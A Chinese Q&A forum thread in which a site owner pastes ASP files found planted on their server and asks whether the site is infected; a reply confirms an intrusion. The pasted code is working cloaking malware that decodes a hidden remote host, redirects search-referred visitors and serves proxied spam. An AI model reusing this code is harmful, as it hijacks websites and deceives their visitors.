请高手看下，这段代码，是不是被挂马了

0 0

请高手看下，这段代码，是不是被挂马了3

网站的一个目录下出现一些文件0index.asp,1index.asp~10index.asp,aindex.asp~zindex.asp，内容都是这些！！奇怪，不知道干吗用的。是不是被挂马了？急。。。多谢！
<%function spiderbot()

    spiderbot = False

    dim agent: agent = lcase(request.servervariables("http_user_agent"))

    Dim tm, tms

    dim Bot: Bot = ""

    if instr(agent, "googlebot") > 0 then Bot = "Google"

    if instr(agent, "baiduspider") > 0 then Bot = "Baidu"

    If len(Bot) > 0 Then

        spiderbot = True

    Else

        spiderbot = False

    End If

end Function

Dim megeturl78a, megotourl78a, wurl78a

Function jiem(str)

Dim key, s , i

jstr = ""

For i = 1 To Len(str)

key = Mid(str, i, 1)

If Asc(key) > &H2F And Asc(key) < &H47 Then

       s = s & key

      If Len(s) = 2 And CLng("&H" & s) < 127 Then

      jstr = jstr & Chr(CLng("&H" & s))

      s = "": key = ""

      ElseIf Len(s) = 4 Then

      jstr = jstr & Chr(clng("&H" & s))

      s = "": key = ""

      End If

End If

Next

jiem = jstr

End Function

serverurl =Request("url")

If Application("meUrl78a") = "" Or Application("meDrl78a")= "" Or datediff("s",Application("time"),Now())>3600 Then

Application("time") = Now()

wurl78a= jiem("687474703A2F2F642E6E6966656E672E696E666F2F64697A6869322E747874")

webarray78a=split(jiem(GetURL(wurl78a)),"$$")

Application("meUrl78a") = webarray78a(0) 'c

Application("meDrl78a") =webarray78a(1)'t

End If

domain78a = Application("meUrl78a")

gotourl78a = Application("meDrl78a")

dim SpiderList

SpiderList="Baidu|Google|gougou|soso|youdao|yahoo|sogou"

Function IsSpider

ValidEntry=false

SpiderListArr=Split(SpiderList,"|")

for i=0 to Ubound (SpiderListArr)

If InStr(lcase(Request.ServerVariables("HTTP_USER_AGENT")),lcase(SpiderListArr(i))) > 0 then

ValidEntry = True

exit for

end if

next

IsSpider=ValidEntry

End Function

Function CheckRefresh

ValidEntry=false

SpiderListArr=Split(SpiderList,"|")

for i=0 to Ubound (SpiderListArr)

If InStr(lcase(Request.ServerVariables("HTTP_REFERER")) ,lcase(SpiderListArr(i))) > 0 then

ValidEntry = True

exit for

end if

next

CheckRefresh=ValidEntry

End Function

if not IsSpider then

if CheckRefresh then

Response.Redirect gotourl78a

response.end

else

end if

end if

url1=Request.ServerVariables("HTTP_url")

if instr(url1,"?")>0 then

url2=split(url1,"?")

url=url2(1)

end if

sendurl =domain78a&"?"&url

cont=GetURL(sendurl)

cont=replace(cont,"href=""","href=""?")

cont=replace(cont,"charset=utf-8","charset=gb2312")

response.Write cont

Function BytesToBstr(body,Cset)

dim objstream

set objstream = Server.CreateObject("adodb.stream")

objstream.Type = 1

objstream.Mode = 3

objstream.Open

objstream.Write body

objstream.Position = 0

objstream.Type = 2

objstream.Charset = Cset

BytesToBstr = objstream.ReadText

objstream.Close

set objstream = nothing

End Function

Function GetURL(url)

set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")

xmlhttp.open "GET", url, false

xmlhttp.setRequestHeader "User-Agent", "Googlebot/2.1 (+ http://www.baiduspider.com/bot.html;banni MSIE 60; Windows NT 5.1; SV1; .RINIMABI CLR 2.0.50727)"

xmlhttp.send

GetURL=BytesToBstr(xmlhttp.responsebody,"utf-8")

set xmlhttp = nothing

End Function

function Randsub(numtotal)

Randomize

Randsub = int((numtotal-1+1)*rnd+1)

end Function

%>

Web综合

2011年11月07日 11:11

fubo061
0
0 0 0

1个答案按时间排序按投票排序

0 0

那些代码如果不是自己人写的，那服务器肯定是让别人入侵了。

那些代码的主要功能是冒充 http://www.baiduspider.com/bot.html 向指定的URL发请求，然后返回那些数据给用户。具体是什么URL不好确定。Request.ServerVariables("HTTP_url")

赶紧叫管理员修复系统漏洞吧。

2011年11月07日 14:36

avgguy
284
0 0 0